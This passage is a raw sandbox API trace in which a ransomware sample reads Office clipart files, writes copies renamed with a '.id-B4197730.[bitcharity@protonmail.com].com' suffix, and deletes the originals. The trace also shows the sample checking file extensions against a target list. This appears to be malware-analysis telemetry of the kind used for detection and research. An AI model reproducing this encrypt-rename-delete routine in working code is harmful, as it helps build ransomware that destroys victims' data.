lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xcf0, lpOverlapped=0x0) returned 1 [0299.220] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.220] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.220] SetEndOfFile (hFile=0x1088) returned 1 [0299.220] CloseHandle (hObject=0x1088) returned 1 [0299.220] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.220] SetEndOfFile (hFile=0x10d0) returned 1 [0299.221] CloseHandle (hObject=0x10d0) returned 1 [0299.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0299.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.221] lstrlenW (lpString=".doc") returned 4 [0299.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.221] lstrlenW (lpString=".docx") returned 5 [0299.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.222] lstrlenW (lpString=".pdf") returned 4 [0299.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString=".xls") returned 4 [0299.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.222] lstrlenW (lpString=".xlsx") returned 5 [0299.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.222] lstrlenW (lpString=".ppt") returned 4 [0299.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString=".zip") returned 4 [0299.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.222] lstrlenW (lpString=".rar") returned 4 [0299.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString=".bz2") returned 4 [0299.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString=".7z") returned 3 [0299.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString=".dbf") returned 4 [0299.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString=".1cd") returned 4 [0299.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString=".jpg") returned 4 [0299.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.222] lstrlenW (lpString=".doc") returned 4 [0299.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString=".docx") returned 5 [0299.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.222] lstrlenW (lpString=".pdf") returned 4 [0299.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.222] lstrlenW (lpString=".xls") returned 4 [0299.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.223] lstrlenW (lpString=".xlsx") returned 5 [0299.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.223] lstrlenW (lpString=".ppt") returned 4 [0299.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.223] lstrlenW (lpString=".zip") returned 4 [0299.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.223] lstrlenW (lpString=".rar") returned 4 [0299.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.223] lstrlenW (lpString=".bz2") returned 4 [0299.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.223] lstrlenW (lpString=".7z") returned 3 [0299.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.223] lstrlenW (lpString=".dbf") returned 4 [0299.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.223] lstrlenW (lpString=".1cd") returned 4 [0299.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0299.223] lstrlenW (lpString=".jpg") returned 4 [0299.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.223] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.223] lstrlenW (lpString="HH00524_.WMF") returned 12 [0299.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.224] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=14688) returned 1 [0299.224] CloseHandle (hObject=0x10d0) returned 1 [0299.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0299.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.224] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.224] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0299.225] GetLastError () returned 0x0 [0299.225] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x3960, lpOverlapped=0x0) returned 1 [0299.575] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x3970, lpOverlapped=0x0) returned 1 [0299.577] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.577] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.577] SetEndOfFile (hFile=0x1088) returned 1 [0299.577] CloseHandle (hObject=0x1088) returned 1 [0299.577] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.577] SetEndOfFile (hFile=0x10d0) returned 1 [0299.578] CloseHandle (hObject=0x10d0) returned 1 [0299.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.579] lstrlenW (lpString=".doc") returned 4 [0299.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.579] lstrlenW (lpString=".docx") returned 5 [0299.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.579] lstrlenW (lpString=".pdf") returned 4 [0299.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.579] lstrlenW (lpString=".xls") returned 4 [0299.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.579] lstrlenW (lpString=".xlsx") returned 5 [0299.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.579] lstrlenW (lpString=".ppt") returned 4 [0299.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.580] lstrlenW (lpString=".zip") returned 4 [0299.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.580] lstrlenW (lpString=".rar") returned 4 [0299.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.580] lstrlenW (lpString=".bz2") returned 4 [0299.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.580] lstrlenW (lpString=".7z") returned 3 [0299.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.580] lstrlenW (lpString=".dbf") returned 4 [0299.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.580] lstrlenW (lpString=".1cd") returned 4 [0299.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.580] lstrlenW (lpString=".jpg") returned 4 [0299.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.581] lstrlenW (lpString=".doc") returned 4 [0299.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString=".docx") returned 5 [0299.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.581] lstrlenW (lpString=".pdf") returned 4 [0299.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString=".xls") returned 4 [0299.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.581] lstrlenW (lpString=".xlsx") returned 5 [0299.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.581] lstrlenW (lpString=".ppt") returned 4 [0299.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.581] lstrlenW (lpString=".zip") returned 4 [0299.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.581] lstrlenW (lpString=".rar") returned 4 [0299.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString=".bz2") returned 4 [0299.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString=".7z") returned 3 [0299.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.581] lstrlenW (lpString=".dbf") returned 4 [0299.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.581] lstrlenW (lpString=".1cd") returned 4 [0299.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0299.581] lstrlenW (lpString=".jpg") returned 4 [0299.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.582] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.582] lstrlenW (lpString="HH00636_.WMF") returned 12 [0299.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.582] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1568) returned 1 [0299.582] CloseHandle (hObject=0x10d0) returned 1 [0299.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0299.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.583] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.583] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0299.583] GetLastError () returned 0x0 [0299.583] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x620, lpOverlapped=0x0) returned 1 [0299.784] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x630, lpOverlapped=0x0) returned 1 [0299.974] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.974] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.974] SetEndOfFile (hFile=0x1088) returned 1 [0299.974] CloseHandle (hObject=0x1088) returned 1 [0299.974] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.974] SetEndOfFile (hFile=0x10d0) returned 1 [0299.975] CloseHandle (hObject=0x10d0) returned 1 [0299.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString=".doc") returned 4 [0299.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString=".docx") returned 5 [0299.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.976] lstrlenW (lpString=".pdf") returned 4 [0299.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString=".xls") returned 4 [0299.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.976] lstrlenW (lpString=".xlsx") returned 5 [0299.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.976] lstrlenW (lpString=".ppt") returned 4 [0299.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString=".zip") returned 4 [0299.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.976] lstrlenW (lpString=".rar") returned 4 [0299.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString=".bz2") returned 4 [0299.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString=".7z") returned 3 [0299.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString=".dbf") returned 4 [0299.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString=".1cd") returned 4 [0299.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.976] lstrlenW (lpString=".jpg") returned 4 [0299.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString=".doc") returned 4 [0299.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString=".docx") returned 5 [0299.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.977] lstrlenW (lpString=".pdf") returned 4 [0299.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString=".xls") returned 4 [0299.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.977] lstrlenW (lpString=".xlsx") returned 5 [0299.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.977] lstrlenW (lpString=".ppt") returned 4 [0299.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString=".zip") returned 4 [0299.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.977] lstrlenW (lpString=".rar") returned 4 [0299.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString=".bz2") returned 4 [0299.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString=".7z") returned 3 [0299.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString=".dbf") returned 4 [0299.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString=".1cd") returned 4 [0299.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0299.977] lstrlenW (lpString=".jpg") returned 4 [0299.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.977] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.977] lstrlenW (lpString="HH00685_.WMF") returned 12 [0299.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.978] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=4032) returned 1 [0299.978] CloseHandle (hObject=0x10d0) returned 1 [0299.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0299.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.978] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.978] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0299.979] GetLastError () returned 0x0 [0299.979] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xfc0, lpOverlapped=0x0) returned 1 [0300.178] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xfd0, lpOverlapped=0x0) returned 1 [0300.231] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, 